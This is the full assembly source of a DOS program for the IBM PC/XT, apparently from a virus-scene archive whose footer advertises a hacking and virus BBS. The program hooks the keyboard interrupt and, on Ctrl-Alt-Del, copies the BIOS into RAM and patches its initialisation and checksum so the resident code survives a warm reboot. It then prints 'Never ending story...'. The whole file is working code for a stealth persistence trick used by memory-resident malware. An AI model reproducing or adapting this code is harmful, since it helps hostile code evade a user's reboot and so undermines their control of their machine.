home *** CD-ROM | disk | FTP | other *** search
-
- ; Survive a warm reboot on a XT.
- ;
- ; Compile under Turbo Assembler 2.5
- ; This program works on a generic IBM PC/XT
-
-
- .model tiny
- .radix 16
- .code
-
- org 100
-
- start:
- jmp init
-
- handler:
- push ds
- push ax
- xor ax,ax
- mov ds,ax
- mov al,ds:[417]
- and al,0c
- cmp al,0c
- jnz no_ctrl_alt
- in al,[60]
- cmp al,53
- jz now_fuck
- no_ctrl_alt:
- pop ax
- pop ds
- db 0ea
- oldvect dd ?
- now_fuck:
- mov ds:[472],1234
- mov ax,ds:[413]
- mov cx,6
- shl ax,cl
- push ax
- mov es,ax
- mov di,offset handler
- push cs
- pop ds
- mov si,di
- repz cmpsw
- jnz new_move
- mov dl,es:[top_seg]
- pop ax
- jmp short set_segm
- new_move:
- mov al,ah
- cmp al,0a0
- jnc set_top
- mov al,0a0
- set_top:
- xchg ax,dx
- pop ax
- sub ax,1000
- set_segm:
- mov cs:[top_seg],dl
- push ax
- mov es,ax
- mov di,0e000
- mov ax,0f000
- mov ds,ax
- mov si,di
- mov cx,1000
- cld
- rep movsw
- cmp byte ptr [si-10],0ea
- jnz cant_fuck
- cmp [si-0dh],0f000
- jnz cant_fuck
- mov di,[si-0f]
- cmp di,0e000
- jc cant_fuck
- mov al,[di]
- cmp al,0e9
- jnz no_jmp
- add di,[di+1]
- add di,3
- no_jmp:
- push di
- mov cx,800
- call protect_ram
- call replace_ints
- push es
- pop ds
- mov bx,0e000
- mov cx,2000
- xor al,al
- check_lup:
- add al,[bx]
- inc bx
- loop check_lup
- neg al
- mov [di-1],al
- push cs
- pop ds
- mov word ptr ds:[tmp_handler],5ebh
- mov si,offset start
- mov di,si
- mov cx,init-start
- rep movsb
- retf
- cant_fuck:
- db 0ea
- dw 0
- dw 0ffff
-
- protect_ram:
- jcxz cant_fuck
- mov al,80
- repnz scasb
- jnz protect_ram
- mov ax,[di]
- and al,0f8
- cmp al,0f8
- jnz protect_ram
- cmp ah,dl
- jnz protect_ram
- mov ax,es
- mov es:[di+1],ah
- ret
-
- top_seg db ?
-
- replace_ints:
- jcxz cant_fuck
- mov al,0a5
- repnz scasb
- jnz replace_ints
- cmp [di],4747
- jnz replace_ints
- cmp [di+2],0fbe2
- jnz replace_ints
- add di,4
- push cs
- pop ds
- mov [dummy],di
- mov si,offset my_piece
- mov cx,my_top-my_piece
- rep movsb
- exit_prn:
- ret
-
- my_piece:
- push ax
- mov cx,20
- xor di,di
- re_init:
- scasw
- mov ax,0f000
- stosw
- loop re_init
- mov ax,offset tmp_handler
- xchg ax,es:[di+44-80]
- mov cs:[old_tmp],ax
- mov ax,cs
- xchg ax,es:[di+46-80]
- mov cs:[old_tmp+2],ax
- pop ax
- db 0ea
- dummy dw ?
- dw 0f000
- db 0
- my_top:
-
- print:
- mov si,offset message
- print_msg:
- lodsb
- cmp al,'$'
- jz exit_prn
- mov ah,0e
- int 10
- jmp print_msg
-
- tmp_handler:
- jmp $
- go_old:
- db 0ea
- old_tmp dw ?
- dw ?
- push ds
- push si
- push ax
- xor ax,ax
- mov ds,ax
- mov ax,offset handler
- xchg ax,ds:[24]
- mov word ptr cs:[oldvect],ax
- mov ax,cs
- xchg ax,ds:[26]
- mov word ptr cs:[oldvect+2],ax
- push cs
- pop ds
- mov word ptr [tmp_handler],9090
- call print
- pop ax
- pop si
- pop ds
- jmp go_old
-
- message:
- db 'Never ending story...',0dh,0a,'$'
-
- init:
- mov ax,3509
- int 21
- mov word ptr [oldvect],bx
- mov word ptr [oldvect+2],es
- mov dx,offset handler
- mov ah,25
- int 21
- call print
- mov dx,offset init
- int 27
-
- end start
- ; ─────────────────────────────────────────────────────────────────────────
- ; ────────────────────> and Remember Don't Forget to Call <────────────────
- ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
- ; ─────────────────────────────────────────────────────────────────────────
-
-